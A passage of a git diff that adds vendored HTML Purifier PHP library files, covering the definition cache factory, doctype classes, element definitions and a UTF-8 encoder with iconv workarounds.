+ public function register($short, $long)
+ {
+ $this->implementations[$short] = $long;
+ }
+
+ /**
+ * Factory method that creates a cache object based on configuration
+ * @param string $type Name of definitions handled by cache
+ * @param HTMLPurifier_Config $config Config instance
+ * @return mixed
+ */
+ public function create($type, $config)
+ {
+ $method = $config->get('Cache.DefinitionImpl');
+ if ($method === null) {
+ return new HTMLPurifier_DefinitionCache_Null($type);
+ }
+ if (!empty($this->caches[$method][$type])) {
+ return $this->caches[$method][$type];
+ }
+ if (isset($this->implementations[$method]) &&
+ class_exists($class = $this->implementations[$method], false)) {
+ $cache = new $class($type);
+ } else {
+ if ($method != 'Serializer') {
+ trigger_error("Unrecognized DefinitionCache $method, using Serializer instead", E_USER_WARNING);
+ }
+ $cache = new HTMLPurifier_DefinitionCache_Serializer($type);
+ }
+ foreach ($this->decorators as $decorator) {
+ $new_cache = $decorator->decorate($cache);
+ // prevent infinite recursion in PHP 4
+ unset($cache);
+ $cache = $new_cache;
+ }
+ $this->caches[$method][$type] = $cache;
+ return $this->caches[$method][$type];
+ }
+
+ /**
+ * Registers a decorator to add to all new cache objects
+ * @param HTMLPurifier_DefinitionCache_Decorator|string $decorator An instance or the name of a decorator
+ */
+ public function addDecorator($decorator)
+ {
+ if (is_string($decorator)) {
+ $class = "HTMLPurifier_DefinitionCache_Decorator_$decorator";
+ $decorator = new $class;
+ }
+ $this->decorators[$decorator->name] = $decorator;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Doctype.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Doctype.php
new file mode 100644
index 000000000..4acd06e5b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Doctype.php
@@ -0,0 +1,73 @@
+<?php
+
+/**
+ * Represents a document type, contains information on which modules
+ * need to be loaded.
+ * @note This class is inspected by Printer_HTMLDefinition->renderDoctype.
+ * If structure changes, please update that function.
+ */
+class HTMLPurifier_Doctype
+{
+ /**
+ * Full name of doctype
+ * @type string
+ */
+ public $name;
+
+ /**
+ * List of standard modules (string identifiers or literal objects)
+ * that this doctype uses
+ * @type array
+ */
+ public $modules = array();
+
+ /**
+ * List of modules to use for tidying up code
+ * @type array
+ */
+ public $tidyModules = array();
+
+ /**
+ * Is the language derived from XML (i.e. XHTML)?
+ * @type bool
+ */
+ public $xml = true;
+
+ /**
+ * List of aliases for this doctype
+ * @type array
+ */
+ public $aliases = array();
+
+ /**
+ * Public DTD identifier
+ * @type string
+ */
+ public $dtdPublic;
+
+ /**
+ * System DTD identifier
+ * @type string
+ */
+ public $dtdSystem;
+
+ public function __construct(
+ $name = null,
+ $xml = true,
+ $modules = array(),
+ $tidyModules = array(),
+ $aliases = array(),
+ $dtd_public = null,
+ $dtd_system = null
+ ) {
+ $this->name = $name;
+ $this->xml = $xml;
+ $this->modules = $modules;
+ $this->tidyModules = $tidyModules;
+ $this->aliases = $aliases;
+ $this->dtdPublic = $dtd_public;
+ $this->dtdSystem = $dtd_system;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DoctypeRegistry.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DoctypeRegistry.php
new file mode 100644
index 000000000..acc1d64a6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DoctypeRegistry.php
@@ -0,0 +1,142 @@
+<?php
+
+class HTMLPurifier_DoctypeRegistry
+{
+
+ /**
+ * Hash of doctype names to doctype objects.
+ * @type array
+ */
+ protected $doctypes;
+
+ /**
+ * Lookup table of aliases to real doctype names.
+ * @type array
+ */
+ protected $aliases;
+
+ /**
+ * Registers a doctype to the registry
+ * @note Accepts a fully-formed doctype object, or the
+ * parameters for constructing a doctype object
+ * @param string $doctype Name of doctype or literal doctype object
+ * @param bool $xml
+ * @param array $modules Modules doctype will load
+ * @param array $tidy_modules Modules doctype will load for certain modes
+ * @param array $aliases Alias names for doctype
+ * @param string $dtd_public
+ * @param string $dtd_system
+ * @return HTMLPurifier_Doctype Editable registered doctype
+ */
+ public function register(
+ $doctype,
+ $xml = true,
+ $modules = array(),
+ $tidy_modules = array(),
+ $aliases = array(),
+ $dtd_public = null,
+ $dtd_system = null
+ ) {
+ if (!is_array($modules)) {
+ $modules = array($modules);
+ }
+ if (!is_array($tidy_modules)) {
+ $tidy_modules = array($tidy_modules);
+ }
+ if (!is_array($aliases)) {
+ $aliases = array($aliases);
+ }
+ if (!is_object($doctype)) {
+ $doctype = new HTMLPurifier_Doctype(
+ $doctype,
+ $xml,
+ $modules,
+ $tidy_modules,
+ $aliases,
+ $dtd_public,
+ $dtd_system
+ );
+ }
+ $this->doctypes[$doctype->name] = $doctype;
+ $name = $doctype->name;
+ // hookup aliases
+ foreach ($doctype->aliases as $alias) {
+ if (isset($this->doctypes[$alias])) {
+ continue;
+ }
+ $this->aliases[$alias] = $name;
+ }
+ // remove old aliases
+ if (isset($this->aliases[$name])) {
+ unset($this->aliases[$name]);
+ }
+ return $doctype;
+ }
+
+ /**
+ * Retrieves reference to a doctype of a certain name
+ * @note This function resolves aliases
+ * @note When possible, use the more fully-featured make()
+ * @param string $doctype Name of doctype
+ * @return HTMLPurifier_Doctype Editable doctype object
+ */
+ public function get($doctype)
+ {
+ if (isset($this->aliases[$doctype])) {
+ $doctype = $this->aliases[$doctype];
+ }
+ if (!isset($this->doctypes[$doctype])) {
+ trigger_error('Doctype ' . htmlspecialchars($doctype) . ' does not exist', E_USER_ERROR);
+ $anon = new HTMLPurifier_Doctype($doctype);
+ return $anon;
+ }
+ return $this->doctypes[$doctype];
+ }
+
+ /**
+ * Creates a doctype based on a configuration object,
+ * will perform initialization on the doctype
+ * @note Use this function to get a copy of doctype that config
+ * can hold on to (this is necessary in order to tell
+ * Generator whether or not the current document is XML
+ * based or not).
+ * @param HTMLPurifier_Config $config
+ * @return HTMLPurifier_Doctype
+ */
+ public function make($config)
+ {
+ return clone $this->get($this->getDoctypeFromConfig($config));
+ }
+
+ /**
+ * Retrieves the doctype from the configuration object
+ * @param HTMLPurifier_Config $config
+ * @return string
+ */
+ public function getDoctypeFromConfig($config)
+ {
+ // recommended test
+ $doctype = $config->get('HTML.Doctype');
+ if (!empty($doctype)) {
+ return $doctype;
+ }
+ $doctype = $config->get('HTML.CustomDoctype');
+ if (!empty($doctype)) {
+ return $doctype;
+ }
+ // backwards-compatibility
+ if ($config->get('HTML.XHTML')) {
+ $doctype = 'XHTML 1.0';
+ } else {
+ $doctype = 'HTML 4.01';
+ }
+ if ($config->get('HTML.Strict')) {
+ $doctype .= ' Strict';
+ } else {
+ $doctype .= ' Transitional';
+ }
+ return $doctype;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ElementDef.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ElementDef.php
new file mode 100644
index 000000000..d5311cedc
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ElementDef.php
@@ -0,0 +1,216 @@
+<?php
+
+/**
+ * Structure that stores an HTML element definition. Used by
+ * HTMLPurifier_HTMLDefinition and HTMLPurifier_HTMLModule.
+ * @note This class is inspected by HTMLPurifier_Printer_HTMLDefinition.
+ * Please update that class too.
+ * @warning If you add new properties to this class, you MUST update
+ * the mergeIn() method.
+ */
+class HTMLPurifier_ElementDef
+{
+ /**
+ * Does the definition work by itself, or is it created solely
+ * for the purpose of merging into another definition?
+ * @type bool
+ */
+ public $standalone = true;
+
+ /**
+ * Associative array of attribute name to HTMLPurifier_AttrDef.
+ * @type array
+ * @note Before being processed by HTMLPurifier_AttrCollections
+ * when modules are finalized during
+ * HTMLPurifier_HTMLDefinition->setup(), this array may also
+ * contain an array at index 0 that indicates which attribute
+ * collections to load into the full array. It may also
+ * contain string indentifiers in lieu of HTMLPurifier_AttrDef,
+ * see HTMLPurifier_AttrTypes on how they are expanded during
+ * HTMLPurifier_HTMLDefinition->setup() processing.
+ */
+ public $attr = array();
+
+ // XXX: Design note: currently, it's not possible to override
+ // previously defined AttrTransforms without messing around with
+ // the final generated config. This is by design; a previous version
+ // used an associated list of attr_transform, but it was extremely
+ // easy to accidentally override other attribute transforms by
+ // forgetting to specify an index (and just using 0.) While we
+ // could check this by checking the index number and complaining,
+ // there is a second problem which is that it is not at all easy to
+ // tell when something is getting overridden. Combine this with a
+ // codebase where this isn't really being used, and it's perfect for
+ // nuking.
+
+ /**
+ * List of tags HTMLPurifier_AttrTransform to be done before validation.
+ * @type array
+ */
+ public $attr_transform_pre = array();
+
+ /**
+ * List of tags HTMLPurifier_AttrTransform to be done after validation.
+ * @type array
+ */
+ public $attr_transform_post = array();
+
+ /**
+ * HTMLPurifier_ChildDef of this tag.
+ * @type HTMLPurifier_ChildDef
+ */
+ public $child;
+
+ /**
+ * Abstract string representation of internal ChildDef rules.
+ * @see HTMLPurifier_ContentSets for how this is parsed and then transformed
+ * into an HTMLPurifier_ChildDef.
+ * @warning This is a temporary variable that is not available after
+ * being processed by HTMLDefinition
+ * @type string
+ */
+ public $content_model;
+
+ /**
+ * Value of $child->type, used to determine which ChildDef to use,
+ * used in combination with $content_model.
+ * @warning This must be lowercase
+ * @warning This is a temporary variable that is not available after
+ * being processed by HTMLDefinition
+ * @type string
+ */
+ public $content_model_type;
+
+ /**
+ * Does the element have a content model (#PCDATA | Inline)*? This
+ * is important for chameleon ins and del processing in
+ * HTMLPurifier_ChildDef_Chameleon. Dynamically set: modules don't
+ * have to worry about this one.
+ * @type bool
+ */
+ public $descendants_are_inline = false;
+
+ /**
+ * List of the names of required attributes this element has.
+ * Dynamically populated by HTMLPurifier_HTMLDefinition::getElement()
+ * @type array
+ */
+ public $required_attr = array();
+
+ /**
+ * Lookup table of tags excluded from all descendants of this tag.
+ * @type array
+ * @note SGML permits exclusions for all descendants, but this is
+ * not possible with DTDs or XML Schemas. W3C has elected to
+ * use complicated compositions of content_models to simulate
+ * exclusion for children, but we go the simpler, SGML-style
+ * route of flat-out exclusions, which correctly apply to
+ * all descendants and not just children. Note that the XHTML
+ * Modularization Abstract Modules are blithely unaware of such
+ * distinctions.
+ */
+ public $excludes = array();
+
+ /**
+ * This tag is explicitly auto-closed by the following tags.
+ * @type array
+ */
+ public $autoclose = array();
+
+ /**
+ * If a foreign element is found in this element, test if it is
+ * allowed by this sub-element; if it is, instead of closing the
+ * current element, place it inside this element.
+ * @type string
+ */
+ public $wrap;
+
+ /**
+ * Whether or not this is a formatting element affected by the
+ * "Active Formatting Elements" algorithm.
+ * @type bool
+ */
+ public $formatting;
+
+ /**
+ * Low-level factory constructor for creating new standalone element defs
+ */
+ public static function create($content_model, $content_model_type, $attr)
+ {
+ $def = new HTMLPurifier_ElementDef();
+ $def->content_model = $content_model;
+ $def->content_model_type = $content_model_type;
+ $def->attr = $attr;
+ return $def;
+ }
+
+ /**
+ * Merges the values of another element definition into this one.
+ * Values from the new element def take precedence if a value is
+ * not mergeable.
+ * @param HTMLPurifier_ElementDef $def
+ */
+ public function mergeIn($def)
+ {
+ // later keys takes precedence
+ foreach ($def->attr as $k => $v) {
+ if ($k === 0) {
+ // merge in the includes
+ // sorry, no way to override an include
+ foreach ($v as $v2) {
+ $this->attr[0][] = $v2;
+ }
+ continue;
+ }
+ if ($v === false) {
+ if (isset($this->attr[$k])) {
+ unset($this->attr[$k]);
+ }
+ continue;
+ }
+ $this->attr[$k] = $v;
+ }
+ $this->_mergeAssocArray($this->excludes, $def->excludes);
+ $this->attr_transform_pre = array_merge($this->attr_transform_pre, $def->attr_transform_pre);
+ $this->attr_transform_post = array_merge($this->attr_transform_post, $def->attr_transform_post);
+
+ if (!empty($def->content_model)) {
+ $this->content_model =
+ str_replace("#SUPER", $this->content_model, $def->content_model);
+ $this->child = false;
+ }
+ if (!empty($def->content_model_type)) {
+ $this->content_model_type = $def->content_model_type;
+ $this->child = false;
+ }
+ if (!is_null($def->child)) {
+ $this->child = $def->child;
+ }
+ if (!is_null($def->formatting)) {
+ $this->formatting = $def->formatting;
+ }
+ if ($def->descendants_are_inline) {
+ $this->descendants_are_inline = $def->descendants_are_inline;
+ }
+ }
+
+ /**
+ * Merges one array into another, removes values which equal false
+ * @param $a1 Array by reference that is merged into
+ * @param $a2 Array that merges into $a1
+ */
+ private function _mergeAssocArray(&$a1, $a2)
+ {
+ foreach ($a2 as $k => $v) {
+ if ($v === false) {
+ if (isset($a1[$k])) {
+ unset($a1[$k]);
+ }
+ continue;
+ }
+ $a1[$k] = $v;
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Encoder.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Encoder.php
new file mode 100644
index 000000000..fef9b5890
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Encoder.php
@@ -0,0 +1,611 @@
+<?php
+
+/**
+ * A UTF-8 specific character encoder that handles cleaning and transforming.
+ * @note All functions in this class should be static.
+ */
+class HTMLPurifier_Encoder
+{
+
+ /**
+ * Constructor throws fatal error if you attempt to instantiate class
+ */
+ private function __construct()
+ {
+ trigger_error('Cannot instantiate encoder, call methods statically', E_USER_ERROR);
+ }
+
+ /**
+ * Error-handler that mutes errors, alternative to shut-up operator.
+ */
+ public static function muteErrorHandler()
+ {
+ }
+
+ /**
+ * iconv wrapper which mutes errors, but doesn't work around bugs.
+ * @param string $in Input encoding
+ * @param string $out Output encoding
+ * @param string $text The text to convert
+ * @return string
+ */
+ public static function unsafeIconv($in, $out, $text)
+ {
+ set_error_handler(array('HTMLPurifier_Encoder', 'muteErrorHandler'));
+ $r = iconv($in, $out, $text);
+ restore_error_handler();
+ return $r;
+ }
+
+ /**
+ * iconv wrapper which mutes errors and works around bugs.
+ * @param string $in Input encoding
+ * @param string $out Output encoding
+ * @param string $text The text to convert
+ * @param int $max_chunk_size
+ * @return string
+ */
+ public static function iconv($in, $out, $text, $max_chunk_size = 8000)
+ {
+ $code = self::testIconvTruncateBug();
+ if ($code == self::ICONV_OK) {
+ return self::unsafeIconv($in, $out, $text);
+ } elseif ($code == self::ICONV_TRUNCATES) {
+ // we can only work around this if the input character set
+ // is utf-8
+ if ($in == 'utf-8') {
+ if ($max_chunk_size < 4) {
+ trigger_error('max_chunk_size is too small', E_USER_WARNING);
+ return false;
+ }
+ // split into 8000 byte chunks, but be careful to handle
+ // multibyte boundaries properly
+ if (($c = strlen($text)) <= $max_chunk_size) {
+ return self::unsafeIconv($in, $out, $text);
+ }
+ $r = '';
+ $i = 0;
+ while (true) {
+ if ($i + $max_chunk_size >= $c) {
+ $r .= self::unsafeIconv($in, $out, substr($text, $i));
+ break;
+ }
+ // wibble the boundary
+ if (0x80 != (0xC0 & ord($text[$i + $max_chunk_size]))) {
+ $chunk_size = $max_chunk_size;
+ } elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 1]))) {
+ $chunk_size = $max_chunk_size - 1;
+ } elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 2]))) {
+ $chunk_size = $max_chunk_size - 2;
+ } elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 3]))) {
+ $chunk_size = $max_chunk_size - 3;
+ } else {
+ return false; // rather confusing UTF-8...
+ }
+ $chunk = substr($text, $i, $chunk_size); // substr doesn't mind overlong lengths
+ $r .= self::unsafeIconv($in, $out, $chunk);
+ $i += $chunk_size;
+ }
+ return $r;
+ } else {
+ return false;
+ }
+ } else {
+ return false;
+ }
+ }
+
+ /**
+ * Cleans a UTF-8 string for well-formedness and SGML validity
+ *
+ * It will parse according to UTF-8 and return a valid UTF8 string, with
+ * non-SGML codepoints excluded.
+ *
+ * @param string $str The string to clean
+ * @param bool $force_php
+ * @return string
+ *
+ * @note Just for reference, the non-SGML code points are 0 to 31 and
+ * 127 to 159, inclusive. However, we allow code points 9, 10
+ * and 13, which are the tab, line feed and carriage return
+ * respectively. 128 and above the code points map to multibyte
+ * UTF-8 representations.
+ *
+ * @note Fallback code adapted from utf8ToUnicode by Henri Sivonen and
+ * hsivonen@iki.fi at <http://iki.fi/hsivonen/php-utf8/> under the
+ * LGPL license. Notes on what changed are inside, but in general,
+ * the original code transformed UTF-8 text into an array of integer
+ * Unicode codepoints. Understandably, transforming that back to
+ * a string would be somewhat expensive, so the function was modded to
+ * directly operate on the string. However, this discourages code
+ * reuse, and the logic enumerated here would be useful for any
+ * function that needs to be able to understand UTF-8 characters.
+ * As of right now, only smart lossless character encoding converters
+ * would need that, and I'm probably not going to implement them.
+ * Once again, PHP 6 should solve all our problems.
+ */
+ public static function cleanUTF8($str, $force_php = false)
+ {
+ // UTF-8 validity is checked since PHP 4.3.5
+ // This is an optimization: if the string is already valid UTF-8, no
+ // need to do PHP stuff. 99% of the time, this will be the case.
+ // The regexp matches the XML char production, as well as well as excluding
+ // non-SGML codepoints U+007F to U+009F
+ if (preg_match(
+ '/^[\x{9}\x{A}\x{D}\x{20}-\x{7E}\x{A0}-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF}]*$/Du',
+ $str
+ )) {
+ return $str;
+ }
+
+ $mState = 0; // cached expected number of octets after the current octet
+ // until the beginning of the next UTF8 character sequence
+ $mUcs4 = 0; // cached Unicode character
+ $mBytes = 1; // cached expected number of octets in the current sequence
+
+ // original code involved an $out that was an array of Unicode
+ // codepoints. Instead of having to convert back into UTF-8, we've
+ // decided to directly append valid UTF-8 characters onto a string
+ // $out once they're done. $char accumulates raw bytes, while $mUcs4
+ // turns into the Unicode code point, so there's some redundancy.
+
+ $out = '';
+ $char = '';
+
+ $len = strlen($str);
+ for ($i = 0; $i < $len; $i++) {
+ $in = ord($str{$i});
+ $char .= $str[$i]; // append byte to char
+ if (0 == $mState) {
+ // When mState is zero we expect either a US-ASCII character
+ // or a multi-octet sequence.
+ if (0 == (0x80 & ($in))) {
+ // US-ASCII, pass straight through.
+ if (($in <= 31 || $in == 127) &&
+ !($in == 9 || $in == 13 || $in == 10) // save \r\t\n
+ ) {
+ // control characters, remove
+ } else {
+ $out .= $char;
+ }
+ // reset
+ $char = '';
+ $mBytes = 1;
+ } elseif (0xC0 == (0xE0 & ($in))) {
+ // First octet of 2 octet sequence
+ $mUcs4 = ($in);
+ $mUcs4 = ($mUcs4 & 0x1F) << 6;
+ $mState = 1;
+ $mBytes = 2;
+ } elseif (0xE0 == (0xF0 & ($in))) {
+ // First octet of 3 octet sequence
+ $mUcs4 = ($in);
+ $mUcs4 = ($mUcs4 & 0x0F) << 12;
+ $mState = 2;
+ $mBytes = 3;
+ } elseif (0xF0 == (0xF8 & ($in))) {
+ // First octet of 4 octet sequence
+ $mUcs4 = ($in);
+ $mUcs4 = ($mUcs4 & 0x07) << 18;
+ $mState = 3;
+ $mBytes = 4;
+ } elseif (0xF8 == (0xFC & ($in))) {
+ // First octet of 5 octet sequence.
+ //
+ // This is illegal because the encoded codepoint must be
+ // either:
+ // (a) not the shortest form or
+ // (b) outside the Unicode range of 0-0x10FFFF.
+ // Rather than trying to resynchronize, we will carry on
+ // until the end of the sequence and let the later error
+ // handling code catch it.
+ $mUcs4 = ($in);
+ $mUcs4 = ($mUcs4 & 0x03) << 24;
+ $mState = 4;
+ $mBytes = 5;
+ } elseif (0xFC == (0xFE & ($in))) {
+ // First octet of 6 octet sequence, see comments for 5
+ // octet sequence.
+ $mUcs4 = ($in);
+ $mUcs4 = ($mUcs4 & 1) << 30;
+ $mState = 5;
+ $mBytes = 6;
+ } else {
+ // Current octet is neither in the US-ASCII range nor a
+ // legal first octet of a multi-octet sequence.
+ $mState = 0;
+ $mUcs4 = 0;
+ $mBytes = 1;
+ $char = '';
+ }
+ } else {
+ // When mState is non-zero, we expect a continuation of the
+ // multi-octet sequence
+ if (0x80 == (0xC0 & ($in))) {
+ // Legal continuation.
+ $shift = ($mState - 1) * 6;
+ $tmp = $in;
+ $tmp = ($tmp & 0x0000003F) << $shift;
+ $mUcs4 |= $tmp;
+
+ if (0 == --$mState) {
+ // End of the multi-octet sequence. mUcs4 now contains
+ // the final Unicode codepoint to be output
+
+ // Check for illegal sequences and codepoints.
+
+ // From Unicode 3.1, non-shortest form is illegal
+ if (((2 == $mBytes) && ($mUcs4 < 0x0080)) ||
+ ((3 == $mBytes) && ($mUcs4 < 0x0800)) ||
+ ((4 == $mBytes) && ($mUcs4 < 0x10000)) ||
+ (4 < $mBytes) ||
+ // From Unicode 3.2, surrogate characters = illegal
+ (($mUcs4 & 0xFFFFF800) == 0xD800) ||
+ // Codepoints outside the Unicode range are illegal
+ ($mUcs4 > 0x10FFFF)
+ ) {
+
+ } elseif (0xFEFF != $mUcs4 && // omit BOM
+ // check for valid Char unicode codepoints
+ (
+ 0x9 == $mUcs4 ||
+ 0xA == $mUcs4 ||
+ 0xD == $mUcs4 ||
+ (0x20 <= $mUcs4 && 0x7E >= $mUcs4) ||
+ // 7F-9F is not strictly prohibited by XML,
+ // but it is non-SGML, and thus we don't allow it
+ (0xA0 <= $mUcs4 && 0xD7FF >= $mUcs4) ||
+ (0x10000 <= $mUcs4 && 0x10FFFF >= $mUcs4)
+ )
+ ) {
+ $out .= $char;
+ }
+ // initialize UTF8 cache (reset)
+ $mState = 0;
+ $mUcs4 = 0;
+ $mBytes = 1;
+ $char = '';
+ }
+ } else {
+ // ((0xC0 & (*in) != 0x80) && (mState != 0))
+ // Incomplete multi-octet sequence.
+ // used to result in complete fail, but we'll reset
+ $mState = 0;
+ $mUcs4 = 0;
+ $mBytes = 1;
+ $char ='';
+ }
+ }
+ }
+ return $out;
+ }
+
+ /**
+ * Translates a Unicode codepoint into its corresponding UTF-8 character.
+ * @note Based on Feyd's function at
+ * <http://forums.devnetwork.net/viewtopic.php?p=191404#191404>,
+ * which is in public domain.
+ * @note While we're going to do code point parsing anyway, a good
+ * optimization would be to refuse to translate code points that
+ * are non-SGML characters. However, this could lead to duplication.
+ * @note This is very similar to the unichr function in
+ * maintenance/generate-entity-file.php (although this is superior,
+ * due to its sanity checks).
+ */
+
+ // +----------+----------+----------+----------+
+ // | 33222222 | 22221111 | 111111 | |
+ // | 10987654 | 32109876 | 54321098 | 76543210 | bit
+ // +----------+----------+----------+----------+
+ // | | | | 0xxxxxxx | 1 byte 0x00000000..0x0000007F
+ // | | | 110yyyyy | 10xxxxxx | 2 byte 0x00000080..0x000007FF
+ // | | 1110zzzz | 10yyyyyy | 10xxxxxx | 3 byte 0x00000800..0x0000FFFF
+ // | 11110www | 10wwzzzz | 10yyyyyy | 10xxxxxx | 4 byte 0x00010000..0x0010FFFF
+ // +----------+----------+----------+----------+
+ // | 00000000 | 00011111 | 11111111 | 11111111 | Theoretical upper limit of legal scalars: 2097151 (0x001FFFFF)
+ // | 00000000 | 00010000 | 11111111 | 11111111 | Defined upper limit of legal scalar codes
+ // +----------+----------+----------+----------+
+
+ public static function unichr($code)
+ {
+ if ($code > 1114111 or $code < 0 or
+ ($code >= 55296 and $code <= 57343) ) {
+ // bits are set outside the "valid" range as defined
+ // by UNICODE 4.1.0
+ return '';
+ }
+
+ $x = $y = $z = $w = 0;
+ if ($code < 128) {
+ // regular ASCII character
+ $x = $code;
+ } else {
+ // set up bits for UTF-8
+ $x = ($code & 63) | 128;
+ if ($code < 2048) {
+ $y = (($code & 2047) >> 6) | 192;
+ } else {
+ $y = (($code & 4032) >> 6) | 128;
+ if ($code < 65536) {
+ $z = (($code >> 12) & 15) | 224;
+ } else {
+ $z = (($code >> 12) & 63) | 128;
+ $w = (($code >> 18) & 7) | 240;
+ }
+ }
+ }
+ // set up the actual character
+ $ret = '';
+ if ($w) {
+ $ret .= chr($w);
+ }
+ if ($z) {
+ $ret .= chr($z);
+ }
+ if ($y) {
+ $ret .= chr($y);
+ }
+ $ret .= chr($x);
+
+ return $ret;
+ }
+
+ /**
+ * @return bool
+ */
+ public static function iconvAvailable()
+ {
+ static $iconv = null;
+ if ($iconv === null) {
+ $iconv = function_exists('iconv') && self::testIconvTruncateBug() != self::ICONV_UNUSABLE;
+ }
+ return $iconv;
+ }
+
+ /**
+ * Convert a string to UTF-8 based on configuration.
+ * @param string $str The string to convert
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string
+ */
+ public static function convertToUTF8($str, $config, $context)
+ {
+ $encoding = $config->get('Core.Encoding');
+ if ($encoding === 'utf-8') {
+ return $str;
+ }
+ static $iconv = null;
+ if ($iconv === null) {
+ $iconv = self::iconvAvailable();
+ }
+ if ($iconv && !$config->get('Test.ForceNoIconv')) {
+ // unaffected by bugs, since UTF-8 support all characters
+ $str = self::unsafeIconv($encoding, 'utf-8//IGNORE', $str);
+ if ($str === false) {
+ // $encoding is not a valid encoding
+ trigger_error('Invalid encoding ' . $encoding, E_USER_ERROR);
+ return '';
+ }
+ // If the string is bjorked by Shift_JIS or a similar encoding
+ // that doesn't support all of ASCII, convert the naughty
+ // characters to their true byte-wise ASCII/UTF-8 equivalents.
+ $str = strtr($str, self::testEncodingSupportsASCII($encoding));
+ return $str;
+ } elseif ($encoding === 'iso-8859-1') {
+ $str = utf8_encode($str);
+ return $str;
+ }
+ $bug = HTMLPurifier_Encoder::testIconvTruncateBug();
+ if ($bug == self::ICONV_OK) {
+ trigger_error('Encoding not supported, please install iconv', E_USER_ERROR);
+ } else {
+ trigger_error(
+ 'You have a buggy version of iconv, see https://bugs.php.net/bug.php?id=48147 ' .
+ 'and http://sourceware.org/bugzilla/show_bug.cgi?id=13541',
+ E_USER_ERROR
+ );
+ }
+ }
+
+ /**
+ * Converts a string from UTF-8 based on configuration.
+ * @param string $str The string to convert
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string
+ * @note Currently, this is a lossy conversion, with unexpressable
+ * characters being omitted.
+ */
+ public static function convertFromUTF8($str, $config, $context)
+ {
+ $encoding = $config->get('Core.Encoding');
+ if ($escape = $config->get('Core.EscapeNonASCIICharacters')) {
+ $str = self::convertToASCIIDumbLossless($str);
+ }
+ if ($encoding === 'utf-8') {
+ return $str;
+ }
+ static $iconv = null;
+ if ($iconv === null) {
+ $iconv = self::iconvAvailable();
+ }
+ if ($iconv && !$config->get('Test.ForceNoIconv')) {
+ // Undo our previous fix in convertToUTF8, otherwise iconv will barf
+ $ascii_fix = self::testEncodingSupportsASCII($encoding);
+ if (!$escape && !empty($ascii_fix)) {
+ $clear_fix = array();
+ foreach ($ascii_fix as $utf8 => $native) {
+ $clear_fix[$utf8] = '';
+ }
+ $str = strtr($str, $clear_fix);
+ }
+ $str = strtr($str, array_flip($ascii_fix));
+ // Normal stuff
+ $str = self::iconv('utf-8', $encoding . '//IGNORE', $str);
+ return $str;
+ } elseif ($encoding === 'iso-8859-1') {
+ $str = utf8_decode($str);
+ return $str;
+ }
+ trigger_error('Encoding not supported', E_USER_ERROR);
+ // You might be tempted to assume that the ASCII representation
+ // might be OK, however, this is *not* universally true over all
+ // encodings. So we take the conservative route here, rather
+ // than forcibly turn on %Core.EscapeNonASCIICharacters
+ }
+
+ /**
+ * Lossless (character-wise) conversion of HTML to ASCII
+ * @param string $str UTF-8 string to be converted to ASCII
+ * @return string ASCII encoded string with non-ASCII character entity-ized
+ * @warning Adapted from MediaWiki, claiming fair use: this is a common
+ * algorithm. If you disagree with this license fudgery,
+ * implement it yourself.
+ * @note Uses decimal numeric entities since they are best supported.
+ * @note This is a DUMB function: it has no concept of keeping
+ * character entities that the projected character encoding
+ * can allow. We could possibly implement a smart version
+ * but that would require it to also know which Unicode
+ * codepoints the charset supported (not an easy task).
+ * @note Sort of with cleanUTF8() but it assumes that $str is
+ * well-formed UTF-8
+ */
+ public static function convertToASCIIDumbLossless($str)
+ {
+ $bytesleft = 0;
+ $result = '';
+ $working = 0;
+ $len = strlen($str);
+ for ($i = 0; $i < $len; $i++) {
+ $bytevalue = ord($str[$i]);
+ if ($bytevalue <= 0x7F) { //0xxx xxxx
+ $result .= chr($bytevalue);
+ $bytesleft = 0;
+ } elseif ($bytevalue <= 0xBF) { //10xx xxxx
+ $working = $working << 6;
+ $working += ($bytevalue & 0x3F);
+ $bytesleft--;
+ if ($bytesleft <= 0) {
+ $result .= "&#" . $working . ";";
+ }
+ } elseif ($bytevalue <= 0xDF) { //110x xxxx
+ $working = $bytevalue & 0x1F;
+ $bytesleft = 1;
+ } elseif ($bytevalue <= 0xEF) { //1110 xxxx
+ $working = $bytevalue & 0x0F;
+ $bytesleft = 2;
+ } else { //1111 0xxx
+ $working = $bytevalue & 0x07;
+ $bytesleft = 3;
+ }
+ }
+ return $result;
+ }
+
+ /** No bugs detected in iconv. */
+ const ICONV_OK = 0;
+
+ /** Iconv truncates output if converting from UTF-8 to another
+ * character set with //IGNORE, and a non-encodable character is found */
+ const ICONV_TRUNCATES = 1;
+
+ /** Iconv does not support //IGNORE, making it unusable for
+ * transcoding purposes */
+ const ICONV_UNUSABLE = 2;
+
+ /**
+ * glibc iconv has a known bug where it doesn't handle the magic
+ * //IGNORE stanza correctly. In particular, rather than ignore
+ * characters, it will return an EILSEQ after consuming some number
+ * of characters, and expect you to restart iconv as if it were
+ * an E2BIG. Old versions of PHP did not respect the errno, and
+ * returned the fragment, so as a result you would see iconv
+ * mysteriously truncating output. We can work around this by
+ * manually chopping our input into segments of about 8000
+ * characters, as long as PHP ignores the error code. If PHP starts
+ * paying attention to the error code, iconv becomes unusable.
+ *
+ * @return int Error code indicating severity of bug.
+ */
+ public static function testIconvTruncateBug()
+ {
+ static $code = null;
+ if ($code === null) {
+ // better not use iconv, otherwise infinite loop!
